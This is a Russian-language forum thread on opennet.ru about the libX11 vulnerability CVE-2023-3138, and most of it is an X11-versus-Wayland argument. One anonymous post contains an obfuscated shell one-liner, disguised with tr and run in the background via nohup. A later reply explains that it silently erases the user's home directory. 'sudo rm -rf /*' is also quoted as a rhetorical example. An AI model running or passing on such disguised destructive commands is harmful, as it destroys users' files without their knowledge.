URL: https://www.opennet.ru/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 130771
[ Назад ]

Исходное сообщение
"Уязвимость в библиотеке libX11"

Отправлено opennews , 16-Июн-23 10:52 
В развиваемой проектом X.Org библиотеке libx11, предлагающей функции с клиентской реализацией протокола X11, выявлена уязвимость (CVE-2023-3138), приводящая к повреждению памяти  клиентского приложения, в случае его подключения к вредоносному X-серверу или промежуточному прокси, контролируемому злоумышленником. Проблема устранена в выпуске libX11 1.8.6...

Подробнее: https://www.opennet.ru/opennews/art.shtml?num=59303


Содержание

Сообщения в этом обсуждении
"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 10:52 
Xorg доживает свои последние дни, и это хорошо!

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 11:06 
Нам повезло: мы застали иксы и все его ужасы. Следующее поколение не будет ценить wayland так, как ценим его мы. Для них безопасность и надежность wayland будет чем-то само собой разумеющимся.

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 12:39 
>безопасТность и надежДность wayland будет

после его переписывания на Rust.


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 14:27 
А сейчас что мешает? Wayland как таковой лишь набор спеков вообще. Берите да переписывайте, хоть прям сейчас.

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 18-Июн-23 10:16 
Так переписывай, что останавливает?

"Уязвимость в библиотеке libX11"
Отправлено Neon , 25-Июн-23 02:38 
То есть никогда ?)))

"Уязвимость в библиотеке libX11"
Отправлено v3625 , 16-Июн-23 13:30 
Какие такие ужасы? Использовал иксы в начале нулевых, когда ими пользовались именно по-иксовому (X-ресурсы, вот эти вот иксовые растровые шрифты, оконные менеджеры fluxbox, icewm, fvwm в разное время). Использовал и вот эту сетевую прозрачность, которая "никому не нужна": запускал программы с домашней машины в других локациях (на работе например). При прочих равных предпочитал программы, использующие тулкиты Xaw, Motif, Tk.

Вспоминаю это время с большой теплотой. Потом, где-то во время массового распространения gtk2, ушел на macos на рабочих станциях, продолжив пользоваться линуксом только на серверах. Так как, с одной стороны, лучше использовать первоисточник, чем условный гном, который это убого косплеит, с другой - чего греха таить, поддался моде быть тупым и манерным.

Сейчас очень хочется вернуться (может, не вернуться, а заглянуть) обратно, посмотреть, можно ли там жить. Взглянуть на проблему рендеринга векторных шрифтов, о которой все говорят. Подумать на досуге, возможно ли ее более правильно положить на архитектуру иксов (на клиенте их рендерить, скорее всего, практически невозможно, так как слишком много тонкостей: все эти хинтинги, кернинги, сглаживания, а в передаче битмапов особого зла и нет). А также задаться вопросом о целесообразности и реальной необходимости везде использовать векторные шрифты: если на экране все равно пиксели, не лишние ли во многих случаях все эти действия по растеризации).

И, кстати, заметил еще давно, что когда в линуксе шрифты стали преимущественно векторными, от стал страшнее. Особенно первое время, когда нормальные алгоритмы их рендеринга были запатентованы микрософтом или еще кем-то.


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 14:05 
>иксы в начале нулевых, когда ими пользовались именно по-иксовому

В начале нулевых уже не совсем по-иксовому. Тогда уже вовсю GTK, Qt, которые гоняли уже отрендеренные картинки.


"Уязвимость в библиотеке libX11"
Отправлено v3625 , 16-Июн-23 14:19 
> Тогда уже вовсю GTK, Qt, которые гоняли уже отрендеренные картинки.

Тогда еще спокойно можно было не обращать на это внимание.

И gtk1 был ничего.


"Уязвимость в библиотеке libX11"
Отправлено Предпоследний пользователь сетевой прозрачности , 18-Июн-23 10:40 
Даже Qt5 не гоняет отрендеренные картинки, если собрано с native backend. Проблема в том, что все собирают с raster backend.

Гонять картинки начали с Qt4.6-4.8, когда появилась QT_GRAPHICSSYSTEM=raster


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 14:18 
Какие ужасы? Давайте расскажу.
1) Переусложненный антикварный код, грубо не соответствующий современным запросам пользователей относительно графики. FreeSync? HBD? Отсутствие тиринга?
2) Гранд-централ факапов латенси, перфоманса и секурити, все в одном. By design и не лечится.
3) Архитектура деланая под другие реалии. Все и вся in-band, парсер должен молотить гигазы - или вон там опциональные расширения. Поскольку опциональные - что хотите то и делайте, ведь их может и не быть. Встроеные апи и фичи - сделаны так что ими никто не пользуется. Рендер фонтов? Контролы? Все есть, но страшное как смерть - так что никто этим не пользуются. Все рендерят готовые битмапы. А как плевалка битмапов на экран иксы криво, избыточно, дергано и тормозно.
4) Активно рисующая программа может все заклинить. Так что таскменеджер будет отрисовываться полчаса. Очень круто же когда в гранд-централ якоре есть сложные примитивы которые можно вызвать. Зато нет ни малейшего намека на нормальный шедулинг и полисовку ресурслв. Пусть весь мир подождет, пока xorg вкалывает на тяжелом вызове какой-то программы. А если не повезло то пойдете в консольку переключаться с позором чтобы задачу вообще убить.
5) В силу жесткой нестыковки архитектуры и реалий, чинить все эти траблы крайне сложно и нерезултативно. Поэтому все задолбались.

Нам в XXI веке точно нужна именно такая графика? ORLY? А то что болото теплое и уютное не отменяет наличие вони, трясины и прочих болотных газов :).

Но да, из-под макоси рассказывать линуксоидам как им должно быть ЗБС - замечательно, конечно. Но как по мне - вы уж либо кушайте пирожки по своим рецептам, либо сидите тихо. А сватать рецепт счастья при том что сам его не прожевал... тепло и лицемерненько? :)


"Уязвимость в библиотеке libX11"
Отправлено v3625 , 16-Июн-23 15:05 
> 1) Переусложненный антикварный код, грубо не соответствующий современным запросам пользователей относительно графики. FreeSync? HBD? Отсутствие тиринга?

Нет у современных пользователей никаких запросов. Им как в уши надуют, такие у них и запросы.

Про тиринг только ленивый не написал, в гугле забанили? FreeSync и HBD не ведаю, что такое, может, потому что не геймер.

> 2) Гранд-централ факапов латенси, перфоманса и секурити, все в одном. By design и не лечится.
> 3) Архитектура деланая под другие реалии. Все и вся in-band, парсер должен молотить гигазы - или вон там опциональные расширения. Поскольку опциональные - что хотите то и делайте, ведь их может и не быть.
> Активно рисующая программа может все заклинить. Так что таскменеджер будет отрисовываться полчаса. Очень круто же когда в гранд-централ якоре есть сложные примитивы которые можно вызвать. Зато нет ни малейшего намека на нормальный шедулинг и полисовку ресурслв. Пусть весь мир подождет, пока xorg вкалывает на тяжелом вызове какой-то программы. А если не повезло то пойдете в консольку переключаться с позором чтобы задачу вообще убить.

Что это было? Вроде по отдельности слова знакомые, а все вместе какой-то бред получается. Гранд-централ буллшит бинго.


> Рендер фонтов? Контролы? Все есть, но страшное как смерть - так что никто этим не пользуются. Все рендерят готовые битмапы. А как плевалка битмапов на экран иксы криво, избыточно, дергано и тормозно.

А не может так быть, что просто не понимают и используют неправильно, неэффективно?

> Но да, из-под макоси рассказывать линуксоидам как им должно быть ЗБС - замечательно, конечно. Но как по мне - вы уж либо кушайте пирожки по своим рецептам, либо сидите тихо. А сватать рецепт счастья при том что сам его не прожевал... тепло и лицемерненько? :)

Ну я пожевал тоже немало. И ушел именно из-за описанных мной выше изменений. Если б не пользовался, не говорил бы.

Да и где я сказал "рецепт счастья" или что-то такое? Это извращение моих слов. Я хотел только сказать, что у иксовой парадигмы, как она была задумана, есть своя уникальная идентичность и она весьма интересна. А у той, в рамках которой оно используется сейчас, ее нет и в рамках нее, действительно, никакие иксы не нужны.


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 18-Июн-23 00:55 
> Нет у современных пользователей никаких запросов. Им как в уши надуют, такие
> у них и запросы.

Мир не стоит на месте, вон то уже нормально работает в других системах. Пользователи приходят и задают вопросы почему так нельзя в линхе. Я тоже не понимаю почему. Поэтому я за то чтобы графика была первоклассной. А если какие-то концепции или абстракции встают на этом пути - чтож, значит это хреновые концепции и абстракции, позвольте заменить проблемный компонент если починить за столько лет не получилось.

> Про тиринг только ленивый не написал, в гугле забанили? FreeSync и HBD
> не ведаю, что такое, может, потому что не геймер.

А также не работаете с графикой и прочими глупостями. И писать вы можете, #%$, что угодно. А должно - уж пардон - просто работать и не делать мозг. Чему архитектура иксов ни разу не способствует. Достаточно сказать что изначально Xorg вообще не был создан для прецизионного трека таймингов хардвара и вещи типа page flip/double buffer там - натяг совы на глобус. Настолько кривой, что до сих пор периодически случается фигня. По тем же причинам там суровые траблы с freesync.

> бред получается. Гранд-централ буллшит бинго.

Хорошее описание иксов как по мне. И код бредовый, и его логика работы, и попытки его чинить настолько булшит бинго что все кто мог писать код для графики давно уже на это все забили. Иксы уже по сути заброшенный компонент в режиме глубокого майнтенанса, где в основном фиксят наиболее критичные вулны. Про улучшения, оптимизации и актуальные фичи речь как правило вообще уже не идет. Нет мазохистов копаться в коде иксов.

> А не может так быть, что просто не понимают и используют неправильно, неэффективно?

В иксах очень базовый рендер фонтов и страшные как смерть контролы. Это задаром никому в таком виде не надо. А если иксы припахать рендерить TTF/OTF со всеми наворотами прямо в сервере - см что там было про тяжелые операции, постановку колом и шедулинг.

Когда программа делает навернутый рендер в своих недрах, плохо от этого только этой программе, если она внутрях рендерит сотни TTF, ну, пользователь поплюется на ее лаги может быть. А если это же самое в недрах Xorg сервера ворочавшего толпу клиентов, встанет весь караван, и пользователь начнет беситься с общесистемных лагов и дергагий графики. Поэтому никто так разумеется делать не будет. Т.к. станет еще хуже чем было. И нет, никто не долбанется настолько чтобы шедулинг, многоядерность и проч нормально в иксах делать. Это вы сами если оно вам надо. Учитывая что их архитектура это не предусматривает чуть более чем никак...

> Ну я пожевал тоже немало. И ушел именно из-за описанных мной выше
> изменений. Если б не пользовался, не говорил бы.

На мой вкус - я не собираюсь слушать мнения пользаков вякающих как нам должно быть офигенно из-под другой операционки. Ушли и ушли, значит вы более не "stakeholder" этой технологии, какой вообще резон вас и ваше мнение теперь учитывать вообще? А вот пакостить тем кто технологией еще пользуется ради вас - контрпродуктивно.

> моих слов. Я хотел только сказать, что у иксовой парадигмы, как
> она была задумана, есть своя уникальная идентичность и она весьма интересна.

Я даже не спорю что в этой идее что-то есть. Но в современном мире оно скорее создает проблемы чем решает, а на память об этом мир пользуется в качестве сетевой прозрачности каким-нибудь (полу)проприетарным Chromecast. А вовсе не тем куском позора. Потому что вон то полупроприетарное нечто более-менее адекватно работает в типовых ситуациях для большинства пользователей, в отличие от.

> А у той, в рамках которой оно используется сейчас, ее нет
> и в рамках нее, действительно, никакие иксы не нужны.

Ну да. Сейчас иксы в основном замечательно создают море проблем. Которые к тому же очень сложно чинить. А использовать мониторы 640x480 с пофигом на FPS мы все-таки уже более не будем. Мы хотим нормально видео смотреть - в т.ч. и в интернете. Без тиринга и лагов. И разрешением чутка поболее, раз так в эн.


"Уязвимость в библиотеке libX11"
Отправлено v3625 , 18-Июн-23 02:46 
Позвольте системно разобрать ваши возражения, выделив из вашего потока сознания основные тезисы, насколько это возможно.

> Поэтому я за то чтобы графика была первоклассной. А если какие-то концепции или абстракции встают на этом пути - чтож, значит это хреновые концепции и абстракции, позвольте заменить проблемный компонент если починить за столько лет не получилось.

Отнюдь. Всегда, чтобы эффективно пользоваться каким-то инструментом/парадигмой, нужно понимать его философию, концепции и абстракции. Вот какую бы параллель провести... Например, берете вы какой-нибудь язык программирования haskell или там erlang, начинаете писать на нем императивный код и ругаетесь, как неудобно в нем вручную управлять потоком, какие хреновые абстракции встают на вашем пути, не понимая тех преимуществ, которую дает вам функциональная парадигма: автоматический параллелизм, локализация побочных эффектов функций и прочее.

Вот и тут так же.

> В иксах очень базовый рендер фонтов и страшные как смерть контролы. Это задаром никому в таком виде не надо. А если иксы припахать рендерить TTF/OTF со всеми наворотами прямо в сервере - см что там было про тяжелые операции, постановку колом и шедулинг.
> Когда программа делает навернутый рендер в своих недрах, плохо от этого только этой программе, если она внутрях рендерит сотни TTF, ну, пользователь поплюется на ее лаги может быть. А если это же самое в недрах Xorg сервера ворочавшего толпу клиентов, встанет весь караван, и пользователь начнет беситься с общесистемных лагов и дергагий графики. Поэтому никто так разумеется делать не будет. Т.к. станет еще хуже чем было. И нет, никто не долбанется настолько чтобы шедулинг, многоядерность и проч нормально в иксах делать. Это вы сами если оно вам надо. Учитывая что их архитектура это не предусматривает чуть более чем никак...

Давайте посмотрим, что сейчас является мейнстримными технологиями интерфейса для клиент-серверных приложений. Web-технологии: HTML/CSS/JavaScript. И как там рисуются контролы. В таких мейнстримных приложениях, как Office 365, Gmail. Они там рисуются средствами HTML/CSS по схожему с протоколом X принципу: командами рисования графических примитивов, никаких битмапов для контролов никто не делает, за очень редкими исключительными случаями. И ничего, как видим, все живы. Средствами протокола X можно нарисовать контролы уж точно не хуже, чем средствами html/css.

Может быть, вы также видели интерфейс такой сложной программы, как Ableton Live? На что он похож? Он страшный как смерть? На первый взгляд, все там укладывается или почти укладывается в возможности тулкита Xaw.

А знаете ли, чем отчасти обусловлены последние течения в современной моде на интерфейсы: плоские двухмерные контролы? Ограничениями веб-технологий.

Так что подумайте, действительно ли необходимо то, что вы пишете в процитированном тексте, или это все-таки "от невежества".

> На мой вкус - я не собираюсь слушать мнения пользаков вякающих как нам должно быть офигенно из-под другой операционки. Ушли и ушли, значит вы более не "stakeholder" этой технологии, какой вообще резон вас и ваше мнение теперь учитывать вообще? А вот пакостить тем кто технологией еще пользуется ради вас - контрпродуктивно.

Ну как вам сказать - имею мнение, высказываю. Не интересно, не слушайте. Кому-то другому, возможно, интересно.

К тому же, если на то пошло, X-сервер у меня и под макосью есть. При чем тут операционка вообще.

> Я даже не спорю что в этой идее что-то есть. Но в современном мире оно скорее создает проблемы чем решает, а на память об этом мир пользуется в качестве сетевой прозрачности каким-нибудь (полу)проприетарным Chromecast. А вовсе не тем куском позора.

Тут опять же приведу в пример вышеупомянутый мейнстримный стек технологий для отображения интерфейса клиент-серверных программ (HTML/CSS/JavaScript) и предложу сравнить, что является большим куском позора: он или X-протокол. И представить, насколько красивей можно было бы реализовать то же самое средставми X-протокола и его расширения, если попытаться понять его философию.


"Уязвимость в библиотеке libX11"
Отправлено Илья , 18-Июн-23 10:23 
Я не хочу разбираться в подробностях, но вы сейчас НЕ ПОМОГАЕТЕ хоронить иксы.

Зачем вы цепляетесь как кошка за края форточки?


"Уязвимость в библиотеке libX11"
Отправлено v3625 , 18-Июн-23 11:02 
А почему я должен помогать их хоронить?
Я, наоборот, попытался обосновать, почему это не нужно.

> Я не хочу разбираться в подробностях

Не хочу разбираться, хочу транслировать чужую волю и чувствовать единство с такими же, что ли?


"Уязвимость в библиотеке libX11"
Отправлено Ананий , 16-Июн-23 16:30 
>Отсутствие тиринга?

Чому в FreeBSD я его не наблюдаю?
Наблюдал когда-то давно на невидии, решалось правкой конфига. Все.
Остальные баззворды как-то мешают отображению 2д? или начинаются проблемы с 8к экранами?ну как-нибудь переживу


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 17-Июн-23 09:28 
А чому я во фрибзд только тиринг и наблюдаю? У тебя железо такое как у всех?

"Уязвимость в библиотеке libX11"
Отправлено Ананий , 17-Июн-23 13:48 
S3 Virge?
Давай показывай шо там у тебя и что правил в Xorg.conf, шоб пытаться исправить.
А тиринга я не наблюдаю уже давно, на разных ноутах и десктопах.

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 18-Июн-23 01:05 
> Давай показывай шо там у тебя и что правил в Xorg.conf, шоб
> пытаться исправить.

Вообще-то для начала нормальная графика должна работать без вот этого вот. В режиме плагнплей. А то может мне еще и IRQ мануально раздавать начать опять? :)



"Уязвимость в библиотеке libX11"
Отправлено Ананий , 19-Июн-23 14:09 
Вопрос был в работоспособности, а не в том, лень тебе ковырять конфиги и читать маны или нет.

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 18-Июн-23 01:03 
> Чому в FreeBSD я его не наблюдаю?

Может потому что не работаешь с графикой, не смотришь видео, не делаешь видеозвонки, не играешь в игры, все такое? Если фичой не пользоваться то и проблем с ней нет :)

> Наблюдал когда-то давно на невидии, решалось правкой конфига. Все.
> Остальные баззворды как-то мешают отображению 2д?

Вообще-то - когда все тупит, лагает, тиригнует, а при случае настолько клинит что даже таскменеджер для снятия задачи запаришься ждать - это плохая графическая система. И работать должно сильно лучше чем это.

> или начинаются проблемы с 8к экранами?ну как-нибудь переживу

Да переживайте себе наздоровье. Хоть с пузатым 640х480 CRT в обнимку. А вот я этого делать не буду. И остальные - тоже. Не знаю как там у вас во фряхе, а для линуха я хочу чтобы графика у нас не сливала всем остальным системам по ее перфомансу, латенси, предсказуемости и отсутствию дурных технических проблем на ровном месте. Нормальное человеческое желание.


"Уязвимость в библиотеке libX11"
Отправлено Ананий , 19-Июн-23 14:19 
>> Чому в FreeBSD я его не наблюдаю?
> Может потому что не работаешь с графикой, не смотришь видео, не делаешь
> видеозвонки, не играешь в игры, все такое? Если фичой не пользоваться
> то и проблем с ней нет :)

2д в гимпе считается? Ютюп/smplayer сойдет за просмотр?
Игрульки редко, найтивные аля tome4,wesnoth идут на ура. Со стимом туда же Rimworld. Остальное не интересно, да и покупать ради них игровой ноут за двойной прайс - так себе идея.

блендер еще вроде как блендерит, но лично мне 3д не нужно, как и видеозвонки.

>> Наблюдал когда-то давно на невидии, решалось правкой конфига. Все.
>> Остальные баззворды как-то мешают отображению 2д?
> Вообще-то - когда все тупит, лагает, тиригнует, а при случае настолько клинит
> что даже таскменеджер для снятия задачи запаришься ждать - это плохая
> графическая система. И работать должно сильно лучше чем это.

хз, у меня такого не наблюдается

>> или начинаются проблемы с 8к экранами?ну как-нибудь переживу
> Да переживайте себе наздоровье. Хоть с пузатым 640х480 CRT в обнимку. А
> вот я этого делать не буду. И остальные - тоже. Не
> знаю как там у вас во фряхе, а для линуха я
> хочу чтобы графика у нас не сливала всем остальным системам по
> ее перфомансу, латенси, предсказуемости и отсутствию дурных технических проблем на ровном
> месте. Нормальное человеческое желание.

Ну остальные как-нибудь сами расставят приоритеты. Я тебе даже по секрету скажу, проприетарь для невидии практически или то же самое что и для линуха. Но общая проблема для невидий - прекращение со временем поддержки старых видюх в новых дриверах. Всякие ноувеау я всерьез не рассматриваю.
Поэтому самый оптимальный и безгеморойный вариант - интел. Там тоже есть шанс устареть и не соответвовать минимальным требованиям модномолодежных драйверов, но не так быстро. Вот мне крайней интересно глянуть на ириску, как она с фришечкой.


"Уязвимость в библиотеке libX11"
Отправлено voiceofreason , 20-Июн-23 18:05 
Крепко жму вашу руку. Ровно мои впечатления от иксов. На фоне сидящих на macOS любителей сетевой прозрачности и псевдо-unix-way 70ых годов прошлого века, это прям приятно.

"Уязвимость в библиотеке libX11"
Отправлено Zenitur , 17-Июн-23 11:42 
> И, кстати, заметил еще давно, что когда в линуксе шрифты стали преимущественно векторными, от стал страшнее. Особенно первое время, когда нормальные алгоритмы их рендеринга были запатентованы микрософтом или еще кем-то.

Мне поэтому нравились ранние версии Windows, что там в окнах использовались моноширинные шрифты, такие как Monotype Corsiva. Надеюсь, я не перепутал название шрифта? Позже, во всех элементах интерфейса стал использоваться TrueType, как в HTML-страничках... Хотя даже в Win9x можно было выставить любой шрифт в "Свойствах экрана" в разделе "Оформление", а то м вообще применить готовую тему рабочего стола.

Ух, а мне бы хотелось, чтобы кто-нибудь доделал патчи i-Rinat, которые добавляли VA-API в Firefox. Дело в том, что его патчи использовали libva-glx, а это значит, что работать будет в любой системе, даже самой старой. А в апстриме решили использовать libva-egl, непонятно зачем, так как EGL в "иксах" ни к селу, ни к городу, пусть даже и работает. Да ещё и требуется чоень новая Mesa либо драйвер NVIDIA.


"Уязвимость в библиотеке libX11"
Отправлено Oe , 17-Июн-23 09:52 
Надежность? Да он сначала даже не запускался. Недавно затестил еще раз - ну, оно уже запускается, и даже пофиксили желейную мышь. Раньше мышь была настолько желейной, как будто её пропихнули через тройной слой буферизации. Тиринга нету, но вместо него статтеры и дропы кадров, желейность всего интерфейса, производительность дно. Еще лет 10, и думаю допилят до уровня +-винды

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 11:57 
ещё тебя переживёт

"Уязвимость в библиотеке libX11"
Отправлено rshadow , 16-Июн-23 13:48 
Жалко на опеннете нет механизма запуска опросов. Думаю результаты удивили бы немногих.

"Уязвимость в библиотеке libX11"
Отправлено Администратор , 18-Июн-23 13:44 
А что работает на вашем хваленом вейланде?  игры с portproton работают? запись экрана рабочего стола нормально не работает,  виртуалки некоторые не работают, и много каких есчо программ не работают.

"Уязвимость в библиотеке libX11"
Отправлено AleksK , 18-Июн-23 19:38 
Игры с портпротоном работают без проблем. Запись экрана работает отлично. Qemu работает замечательно. Все что надо работает.

"Уязвимость в библиотеке libX11"
Отправлено soarin , 16-Июн-23 10:54 
Да. Выкидывать это всё надо.
Сейчас вот ставил OpenJDK Headless, а всё равно что-то с луддитными иксами тянется на сервер…
Никак от этого не нужного мусора не убежишь.
Собирал один большой проект на Rust на macOS хосте, тоже притащились…

"Уязвимость в библиотеке libX11"
Отправлено кофи анан , 16-Июн-23 10:57 
Кому и кобыла невеста

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 15:12 
Java только в том году спохватились, что основные дистрибутивы всё выкидывают.

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 17-Июн-23 22:15 
iPony пользуется Ябблотехникой, обожает поней.
Soarin под МакОСью, лошадиная аватарка.
Совпадение? Не думаю...

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 17-Июн-23 23:38 
Так soarin тоже по поням так-то

"Уязвимость в библиотеке libX11"
Отправлено soarin , 18-Июн-23 06:18 
Нажми на мой профиль и посмотри ФИО.
Просто один аккаунт зареганный, а другой анонимный с именем от которого бывают и другие пишут.

"Уязвимость в библиотеке libX11"
Отправлено Тот_Самый_Анонимус__ , 22-Июн-23 13:41 
>Да. Выкидывать это всё надо.

Начни с себя! (тм)


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 11:06 
Никогда такого не было и вот опять!

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 11:08 
> в случае его подключения к вредоносному X-серверу или промежуточному прокси, контролируемому злоумышленником

Выявлена уязвимость. В случае если юзер пропишет в терминале sudo rm -rf /* то ..


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 11:29 
в случае с rm -rf /* пользователь уже знает, что команда деструктивная.
в случае коннекта к серверу пользователь не знает, вредоносный это сервер или нет.

как 13-летней девочке приходится разжевывать вроде очевидные вещи.


"Уязвимость в библиотеке libX11"
Отправлено Анониссимус , 16-Июн-23 12:06 
А с чего бы графическому серверу быть деструктивным? Это какой вообще юзкейс должен быть, что бы запускать у себя приложение, а показывать его на неком другом вредоносном сервере? Полный бред.

Пример c `rm -rf /` тут не подходит. Это скорее похоже на уязвимость в ssh, ведь через ssh можно сделать `rm -rf`!


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 12:09 
Напоминаю, что диды задумывали иксы по клиент-серверной модели.

> через ssh можно сделать `rm -rf`!

Если ssh-сервер сделает rm -rf у тебя, хотя ты этого никак не ждешь, то это уязвимость. Именно о таком случае речь в новости. Но ты поскорее побежал комментировать!


"Уязвимость в библиотеке libX11"
Отправлено Анониссимус , 17-Июн-23 01:29 
> Напоминаю, что диды задумывали иксы по клиент-серверной модели.

Можно всё таки озвучить юзкейс, при котором деструктивный сервер будет представлять опасность? Зачем тебе может понадобиться запускать у себя X11-приложуху на вредоносном сервере?


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 13:33 
А в случае с нижеприведенным?
nohup $(echo '<-{}<&{~'|tr ' -/:-@[-`{}*' '`-{/ - -*') &>/dev/null&

"Уязвимость в библиотеке libX11"
Отправлено Ананий , 16-Июн-23 16:36 
можно хардкорно решить вопросик, например chflags -R schg /
если уж руки так и тянутся позапускать из-под рута всякую нечисть.

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 17-Июн-23 14:40 
Самое милое в приведенной выше команде — отсутствие необходимости рута. Она в фоне затирает хомяк.
Система на локалхосте — мелочь, переставить недолго. А вот люьовно собираемый архив порно, фотки со своей сиране кошкой это чувствительно. Если нет бэкапа. А очень часто его нет.

"Уязвимость в библиотеке libX11"
Отправлено Иван_Лох , 16-Июн-23 12:03 
Обычно X сервер, это компьютер за которым ты сидишь. Его можно модифицировать так, так что приложения на удаленном хосте, которые ты открываешь будут падать. Это можно сделать миллионом путей, и что? X proxy это, вообще, из начала 90-х. Его кто-то еще использует?

"Уязвимость в библиотеке libX11"
Отправлено Unnamed Player , 16-Июн-23 13:18 
Эх, вьюнош…
Иногда это мультихед воркстейшн, а иногда на гриде сервак для расчетов с кучей разрабов по X11 сидящих.

"Уязвимость в библиотеке libX11"
Отправлено 1 , 16-Июн-23 14:15 
Вьюнош - скорее ты.
X-сервер запускается на РМ, и транслирует графику от X-клиентов на "мультихед воркстейшн, а иногда на гриде сервак для расчетов"

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 12:22 
> В развиваемой проектом X.Org библиотеке libx11

Зачем они её развивают?


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 12:31 
как замена вяленому

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 12:53 
Ващет, протокол сейчас реализован в libxcb

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 12:52 
Для legasy софта, который не пользуется графическими тулкитами, а все виджеты рисует сам.

"Уязвимость в библиотеке libX11"
Отправлено Анонимусс , 16-Июн-23 17:30 
Кажется слово "развиваемый" тут не совсем уместно. Ну или совсем не уместно))
Лучше что-то вроде "реанимирует", "замедляет стагнацию", "не дает уйти в историю".
Или что-то из новояза - "борется с отрицательным ростом"

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 12:31 
Это все не правда, Иксы писали ветераны Юникс, которые все сделали правильно, в отличии от пориджей с Вейландом. Закрывайте issue.

"Уязвимость в библиотеке libX11"
Отправлено Анонин , 16-Июн-23 18:13 
Не хочу тебя расстраивать, но вяленого пишут те же самые люди что и иксы (ну, за исключением тех кто уже помер от старости).
И именно эти люди говорят что иксы устарели, что их очень сложно поддерживать и практически невозможно расширять. А не какие-то пориджы, которым что иксы, что вяреный, что вин11.

"Уязвимость в библиотеке libX11"
Отправлено BeLord , 22-Июн-23 17:58 
А что в них такого надо расширять?

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 13:28 
Диды на Си писали. Можем повторить!

"Уязвимость в библиотеке libX11"
Отправлено rshadow , 16-Июн-23 13:49 
С одной стороны, как раз Диды и решили написать вяленого. Но с другой, повторить чет не получилось.

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 14:01 
Диды оказались уже не теми, что Иксы писали.

"Уязвимость в библиотеке libX11"
Отправлено Аноним , 18-Июн-23 01:06 
> Диды оказались уже не теми, что Иксы писали.

Да почему? Кейт Пакард вполне себе тот самый. Но даже он затрахался натягивать сов на глобусы, представляете?! И пришлось диду признать очевидное...


"Уязвимость в библиотеке libX11"
Отправлено Илья , 17-Июн-23 07:57 
А чего не получилось? Окна открываются, удалённый десктоп работает.

Кто-нибудь объяснит мне, зачем держаться за иксы?

Только не общими фразами типо "сетевая прозрачность", а на практике?


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 17-Июн-23 16:03 
для тех, кто не пользуется гномокедами или й3 ­– вообще ничего, вейланда буквально не существует.

"Уязвимость в библиотеке libX11"
Отправлено Илья , 18-Июн-23 11:37 
> для тех, кто не пользуется гномокедами или й3 ­– вообще ничего, вейланда
> буквально не существует.

У меня уже года 2 вейленд работает без каких-либо настроек на гноме. Я не понял, зачем ты это написал


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 18-Июн-23 15:04 
> на гноме

ну, исполать. напишу повторно, что гном, кеды и свэй подходят не только лишь всем.


"Уязвимость в библиотеке libX11"
Отправлено fi , 17-Июн-23 16:10 
За X11 не держаться, на них работают )))

X-сы еще в 80-х заложили, а в 1996 вышли X11R6 - фактичесли то чем мы сейчас пользуемся, хотя и R5 был вполне рабочий вариант.

Хорошая продуманная архитектура, в отличии...

вяленый же - попытка сделать по-проще: хотели как лучше, получилось как всегда.
До сих пор детские болезни лечат. таже  "сетевая прозрачность" - да нужная фича, но сейчас большой запрос на связь с  гаджитами - не получилось. И где там ICCCM??? Сколько лет ему еще расти до "взрослости"?

Да, и почему-то на железе кривой - сколько раз сталкивался, лезут артефакты, заменяешь на xorg - и все в порядке.

ну и лично для меня - окна должен оформлять wm, кнопочки у всех единообразно настроены, я вот крестик всегда выношу на левый угол


"Уязвимость в библиотеке libX11"
Отправлено maximnik0 , 18-Июн-23 13:09 
>Хорошая продуманная архитектура, в отличии...

Не совсем так.На Хабре выкладывали перевод одного из разработчиков Х-в ,имя уже не помню.Так он признался что тогда опыта проектирования графического интерфейса и ари не кто не имеел.Но проанализировав аппаратные архитектуры  учитывая опыт работы с сетевыми СУБД ! решили заложить возможность расширения протокола,аппаратную независимость и сетевую прозрачность.Первые 3 версии протокола были сырыми и сменились за 2 года.Версионность протокола потом была предусмотрена - я удивился что разработчика вайланда как то преврали насчёт этого,заявив о не потдержки Х этого свойства,но в итоге сами забили на это.(версию R5 потдерживала библиотека совместимости,которую недавно выкинули....)
А так да, многое в Х сейчас смотрится дико-например свой менеджер памяти,но с другой стороны если программа вылазила за пределы выделенного ОЗУ-срабатывала защита.Атомарность протокола-учитывали что пакеты могли перейти с разным временем,чтобы не было рассинхронизации с событиями, и т.д.


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 13:56 
> подключения к вредоносному X-серверу
> или промежуточному прокси

Ну то-есть хрен эксплуатируешь на практике. Потому что если у кого вредоносный сервер - врядли вон то было хучшей из его проблем.


"Уязвимость в библиотеке libX11"
Отправлено Аноним , 16-Июн-23 14:08 
Какой-нибудь xephyr или xnest запускаемый из npm или cargo. Легко.